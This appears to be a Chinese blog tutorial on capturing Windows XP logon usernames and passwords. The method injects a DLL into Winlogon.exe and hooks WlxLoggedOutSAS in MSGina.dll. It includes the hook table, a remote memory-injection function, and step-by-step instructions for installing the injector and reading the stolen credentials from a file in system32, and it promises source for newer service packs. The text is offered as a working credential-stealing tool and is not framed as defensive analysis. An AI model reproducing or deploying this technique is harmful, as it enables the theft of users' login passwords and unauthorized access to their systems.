一.Winlogon.exe是系统必备的用于用户登录的进程,。我们下面将通过DLL注入,实现截获系统登录用户名和密码等信息。
二.核心技术点1:
HOOKMSGina.dll中的WlxLoggedOutSAS函数,实现对用户名和密码的拦截;MSGina.dll是WindowsNT系统(包括XP、NT系列等)中处理系统登录的DLL模块,而WlxLoggedOutSAS则是具体的处理接口。
//定义待HOOK的结构体变量
struct{
char*dll;//DLLname
char*func;//Functionname
LPVOIDppOriginal;//Newaddress
LPVOIDppHook;//Originaladdress
}htHookTable[]=
{
{“msgina.dll”,”WlxLoggedOutSAS”,NULL,NULL},
//{“advapi32.dll”,”LogonUserA”,NULL,NULL},
{NULL,NULL,NULL,NULL},
};
三.核心技术点2:远程注入(比较科普,高手飘过)
LPVOIDInjectData(HANDLEhProcess,LPVOIDlpData,ULONGulFuncLen)
{
LPVOIDlpAddress=NULL;
DWORDdwOldProtect;
DWORDBytesWritten=0;
//为远程进程分配内存
lpAddress=VirtualAllocEx(hProcess,NULL,ulFuncLen,MEM_COMMIT|MEM_TOP_DOWN,PAGE_EXECUTE_READWRITE);
if(lpAddress)
{
if(VirtualProtectEx(hProcess,lpAddress,ulFuncLen,PAGE_EXECUTE_READWRITE,&dwOldProtect))
{
FlushInstructionCache(hProcess,lpAddress,ulFuncLen);
if(WriteProcessMemory(hProcess,lpAddress,lpData,ulFuncLen,&BytesWritten))
{
VirtualProtectEx(hProcess,lpAddress,ulFuncLen,dwOldProtect,NULL);
returnlpAddress;
}
VirtualProtectEx(hProcess,lpAddress,ulFuncLen,dwOldProtect,NULL);
}
}
return0;
}
四.代码演示步骤:
(注意:由于发布的这个版本只支持XPSP1,请在XPSP2/SP3下演示时,请将密码设置为空)如果想获得支持XPSP2、SP3版本的源代码,我会在我的博客近期发布。
1.将Tiger.dll拷贝到系统system32目录下
2.在命令行下面运行:
injector.exetiger.dll
3.注销用户(注意:由于发布的这个版本只支持XPSP1,请在XPSP2/SP3下演示时,请将密码设置为空),然后重新登录;
4.找到在系统system32目录下的mspwd.dll,用记事本打开,就可以看到登录的用户名和密码,格式为:
U:tigerP:123 |
|